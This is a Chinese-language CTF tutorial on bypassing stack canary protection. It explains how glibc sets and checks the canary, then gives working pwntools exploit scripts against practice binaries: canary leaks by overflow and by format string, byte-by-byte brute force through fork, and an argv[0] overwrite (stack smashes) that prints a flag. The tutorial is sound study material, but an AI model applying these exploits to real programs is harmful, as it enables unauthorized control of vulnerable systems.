绕过保护之Canary

初识Canary

关于canary说白了就是一个防止栈溢出的手段,一般情况下是在栈底前边设置一个值,在进程结束时,对比这个值有没有被篡改,如果篡改就退出。具体汇编如下
函数开始前在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 rbp-0x8 的位置(32位ebp-0x4。但是这个位置不是绝对的,可以通过ida分析)。 这个操作即为向栈中插入 Canary 值

1
2
mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

函数结束时,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 Canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出

1
2
3
4
mov    rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,这个函数不同的libc会不同(从glibc开始 2.27后稍有不同)定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

在没有开启FULL RELRO保护时,我们可以通过劫持GOT表,然后触发Canary检测报错,这时就会进入劫持的地址。另一种是利用fortify_fail函数打印关键信息
关于Canary的储存地址,对于Liunx来说,fs寄存器实际指向的是当前进程的TLS结构,fs:0x28指向的正式stack_guard。如果溢出条件合适,我们完全可以覆盖TLS中保存的Canary值

1
2
3
4
5
6
7
8
9
10
11
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
...
} tcbhead_t;

这个值由ssecurity_init函数来初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static void
security_init (void)
{
// _dl_random的值在进入这个函数的时候就已经由kernel写入.
// glibc直接使用了_dl_random的值并没有给赋值
// 如果不采用这种模式, glibc也可以自己产生随机数

//将_dl_random的最后一个字节设置为0x0
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);

// 设置Canary的值到TLS中
THREAD_SET_STACK_GUARD (stack_chk_guard);

_dl_random = NULL;
}

//THREAD_SET_STACK_GUARD宏用于设置TLS
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

Canary的最后一个字节呗设置为0,防止类似与printf(“%s” , &buf),形式的函数不小心打印出来,所以我们可以把这个0给覆盖,用打印函数来覆盖,这样就泄露了Canary的值

Canary保护机制总结

  1. _dl_random由Kernel写入
  2. security_init 函数将_dl_random 的最后一个字节设置为0,防止 printf(“%s”)这类打印函数不小心泄露 Canary。
  3. security_init 函数将 Canary 值设置到 TLS 中。
  4. 在函数开始时,会取出TLS中的Canary值放在ebp-4h(64位系统为rbp-8h)
    中,即防止通过栈溢出修改 ebp 和返回地址。
  5. 在函数结束时,会取出ebp-4h(64位系统为rbp-8h)的值,并与 TLS 中的 Canar值进行异或,判断是否为0。若结果为0,则检查通过;若结果不为0,则检查不通过,进人stack_chk_fail 函数

Canary保护机制主要有两个漏洞

  • stack_chk_fai1函数会有信息输出,如果我们能够控制 libc_argv[0],就能够通过stack_chk fail函数泄露出我们想要的信息,这个技术被称为 stacksmashes(glibc 2.27 和 2.27之后的版本会有一些变化)。
  • 如果我们有一个很长的栈溢出,那么可以直接溢出TLS 中的 a1_random 的值,因此可以绕过 Canary 保护。当然,这里可能还需要一个多线程的条件,可以在后续例
    题中看到。

对于有Canary的程序,如果考虑栈溢出攻击,主要有四个攻击点:

  1. 利用泄露函数泄露出 Canary 的值,再进行利用。
  2. 爆破得到 Canary 的值。
  3. stack_chk fai1 函数泄露关键信息。
  4. 修改 TLS 中的 stack quard 值。

泄露Canary值

附件下载

注意点Canary值距离ebp为0xc,然后通过栈溢出覆盖最后一位0,通过打印函数打印出来cancary

  1. 第一种是用栈溢出漏洞
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    from pwn import *
    from LibcSearcher import *
    filename = './leak_canary'
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote( )
    else:
    p = process(filename)
    context(log_level = 'debug')
    elf = ELF(filename)

    target = 0x080485CC
    payload = b'a' * 0x100 + b'b'
    p.send(payload)

    p.recvuntil(b'a' * 0x100)
    canary_addr = u32(p.recv(4)) - ord('b')
    success(hex(canary_addr))
    payload2 = b'\x00' * 0x100 + p32(canary_addr)
    payload2 += p32(1) * 3
    payload2 += p32(target)
    p.sendline(payload2)

    p.interactive()
  2. 第二种是利用格式化字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    from pwn import *
    from LibcSearcher import *
    filename = './leak_canary'
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote( )
    else:
    p = process(filename)

    context(log_level = 'debug')
    elf = ELF(filename)

    target = 0x080485CC
    p1 = '%{offset}$p\n'.format(offset = 71)

    p.send(p1)
    canary_addr = int(p.recvuntil('\n' , drop=True) , 16)

    success(hex(canary_addr))
    p2 = b'a' * 0x100 + p32(canary_addr)
    p2 += 0xc * b'a'
    p2 += p32(target)

    p.sendline(p2)
    p.interactive()

逐字节爆破Canary

附件下载
这种方法局限性比较大,必须有fork函数开启子进程。因为fork函数会直接拷贝父进程内存,所以创建的子进程canary都是相同的

我们一直fork开启子进程,一个一个字节的爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
filename = './one_by_one_bruteforce'
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
p = remote( )
else:
p = process(filename)
context(log_level = 'debug')
elf = ELF(filename)

def bruteforce1bit() :
global known
for i in range(256):
p1 = 0x108 * b'a'
p1 += known
p1 += bytes([i])
p.sendafter('one_by_one_bruteforce\n',p1)
try :
info = p.recvuntil(b'\n')
if b"*** stack smashing detected ***" in info :
p.send('n\n')
continue
else :
known += bytes([i])
break
except:
log.info('wrong')
break

def bruteforce_canary():
global known
known += b'\x00'
for i in range(7):
bruteforce1bit()
if i != 6 :
p.send(b'n\n')
else :
p.send(b'y\n')

target = 0x000000000040083E
known = b""
bruteforce_canary()
canary = u64(known) # Ensure known is 8 bytes
log.success("canary: " + hex(canary))
p2 = b"a" * 0x108 + p64(canary) + p64(0) + p64(target)
p.sendafter(b"go\n", p2)
p.interactive()

| 这两个理解起来都很简单,没有什么难点,看着exp很容易理解

stack_smashes

附件下载

前边已经简绍了,_stack_chk_fail函数会将__libc_agrc[0]的信息打印出来,所以我们可以改变__libc_agrc[0]的地址为我们想要信息的值,那么就能得到相应数据了

首先简绍一下什么是__libc_agrc[0]

main(int argc , char ,*argv[ ])

  1. argc为整数
  2. argv为指针的指针(可理解为:char **argv or: char *argv[] or: char argv[][] ,argv是一个指针数组)
    注:main()括号内是固定的写法。
  3. 下面给出一个例子来理解这两个参数的用法:
    ** 假设程序的名称为prog,**
    当只输入prog,则由操作系统传来的参数为:
    argc=1,表示只有一程序名称。
    argc只有一个元素,argv[0]指向输入的程序路径及名称:./prog
    当输入prog para_1,有一个参数,则由操作系统传来的参数为:
    argc=2,表示除了程序名外还有一个参数。
    argv[0]指向输入的程序路径及名称。
    argv[1]指向参数para_1字符串。
    当输入prog para_1 para_2 有2个参数,则由操作系统传来的参数为:
    argc=3,表示除了程序名外还有2个参数。
    argv[0]指向输入的程序路径及名称。
    argv[1]指向参数para_1字符串。
    argv[2]指向参数para_2字符串。
  4. void main( int argc, char *argv[] )
    char *argv[] : argv 是一个指针数组,他的元素个数是argc,存放的是指向每一个参数的指针

我们本题需要找__libc_agrc[0]和输入的偏移
下断点直接到输入函数

第二个参数为输入地址(具体第几个参数,根据函数本身决定)
下断点到main

__libc_argv[0]指向的是文件路径

直接算出偏移

1
2
3
4
5
6
7
8
9
10
#脚本也是非常easy
from pwn import *
p = process("./stack_smashes")
gdb.attach(p,"b *0x000000000040087A")

context.log_level = "debug"
flag_addr = 0x0000000000601090
p2 = b"a" * 0x218 + p64(flag_addr)
p.sendafter("stack_smashes\n",p2)
p.interactive()